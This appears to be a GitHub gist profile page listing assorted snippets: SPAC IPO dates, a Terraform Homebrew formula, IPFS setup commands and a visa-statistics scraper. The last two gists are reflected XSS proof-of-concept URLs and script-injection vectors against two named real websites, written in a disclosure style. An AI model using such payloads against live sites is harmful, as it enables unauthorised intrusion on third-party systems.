Skip to content

Instantly share code, notes, and snippets.

View MiguelBel's full-sized avatar

MiguelBel MiguelBel

View GitHub Profile
View s1-to-ipo.csv
ticker name ipo_date s1_date difference in_nasdaq
CRU Crucible Acquisition 2021-01-05 00:00:00 +0100 2020-12-18 00:00:00 +0100 18.0 FALSE
BENE Benessere Capital Acquisition 2021-01-05 00:00:00 +0100 2020-12-18 00:00:00 +0100 18.0 FALSE
FVT Fortress Value Acquisition III 2021-01-05 00:00:00 +0100 2020-12-18 00:00:00 +0100 18.0 FALSE
CRU Crucible Acquisition 2021-01-05 00:00:00 +0100 2020-12-18 00:00:00 +0100 18.0 FALSE
FVT Fortress Value Acquisition III 2021-01-05 00:00:00 +0100 2020-11-20 00:00:00 +0100 46.0 FALSE
BENE Benessere Capital Acquisition 2021-01-05 00:00:00 +0100 2020-11-03 00:00:00 +0100 63.0 FALSE
KAIR Kairos Acquisition 2021-01-06 00:00:00 +0100 2020-12-21 00:00:00 +0100 16.0 FALSE
PPGH Poema Global 2021-01-06 00:00:00 +0100 2020-12-18 00:00:00 +0100 19.0 FALSE
STPC Star Peak II 2021-01-06 00:00:00 +0100 2020-12-18 00:00:00 +0100 19.0 FALSE
View Terraform
require "language/go"
class Terraform < Formula
desc "Tool to build, change, and version infrastructure"
homepage "https://www.terraform.io/"
url "https://github.com/hashicorp/terraform/archive/v0.11.1.tar.gz"
sha256 "da804e69e990226ee14dadbf33850c8b074d5e0782d56522b71d62c4c5c82cba"
head "https://github.com/hashicorp/terraform.git"
bottle do
View index.html
<html>
<head>
<title>Hello World in IPFS</title>
</head>
<body>
<h1>Hello World in IPFS</h1>
<button onclick="alert('Hello from Valencia')">Click me!</button>
</body>
</html>
View Setup IPFS Node Ubuntu 16
sudo apt-get install htop -y # This is not necessary, I just have it for check the resources consumption
sudo apt-get update
sudo apt-get install golang-go -y
export PATH=$PATH:$GOROOT/bin:$GOPATH/
export GOPATH=$HOME/go
wget https://dist.ipfs.io/go-ipfs/v0.4.10/go-ipfs_v0.4.10_linux-386.tar.gz
tar xvfz go-ipfs_v0.4.10_linux-386.tar.gz
sudo mv go-ipfs/ipfs /usr/local/bin/ipfs
ipfs init
ipfs config Addresses.Gateway /ip4/0.0.0.0/tcp/8080
View Install IPFS on Ubuntu 16.04
sudo apt-get update
sudo apt-get install golang-go -y
wget https://dist.ipfs.io/go-ipfs/v0.4.10/go-ipfs_v0.4.10_linux-386.tar.gz
tar xvfz go-ipfs_v0.4.10_linux-386.tar.gz
sudo mv go-ipfs/ipfs /usr/local/bin/ipfs
@MiguelBel
MiguelBel / Gemfile
Created March 13, 2016 20:11
Youtube To Trello
View Gemfile
source "https://rubygems.org"
ruby '2.2.2'
gem 'httparty'
gem 'nokogiri'
gem 'redis'
gem 'mail'
gem 'postmark'
gem 'rake'
@MiguelBel
MiguelBel / usa_visa_refusal_by_country.rb
Last active March 12, 2016 15:26
Script for get the visa refusal data in USA by country and by year (2006 to 2015) so far.
View usa_visa_refusal_by_country.rb
require 'pdf-reader'
require 'open-uri'
require 'json'
def read_file(year_two_digits)
url_pattern = "https://travel.state.gov/content/dam/visas/Statistics/Non-Immigrant-Statistics/RefusalRates/FY%s.pdf"
file = open(url_pattern % year_two_digits)
PDF::Reader.new(file)
end
View Kapaza.be
Bypass Google Chrome Auditor: No
Web: http://www.kapaza.be
Vulnerability: Reflected XSS
PoC (Proof of concept): http://www.kapaza.be/nl/li?w=3&q=%3C%2Ftitle%3E%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27xss%27%29%3B%3C%2Fscript%3E+
Attack Vector: </title><script type="text/javascript">alert('xss');</script>
View Seur.es
Bypass Google Chrome Auditor: No
Web: http://www.seur.es
Vulnerability: Reflected XSS
PoC (Proof of concept): http://www.seur.com/buscador.do?txtPalabra=%22%3E%3C/iframe%3E%3Cscript%3Ealert%28%22xss%22%29;%3C/script%3E%3Cdiv%20id=%22mi
Attack Vector: "></iframe><script>alert("xss");</script><div id="mi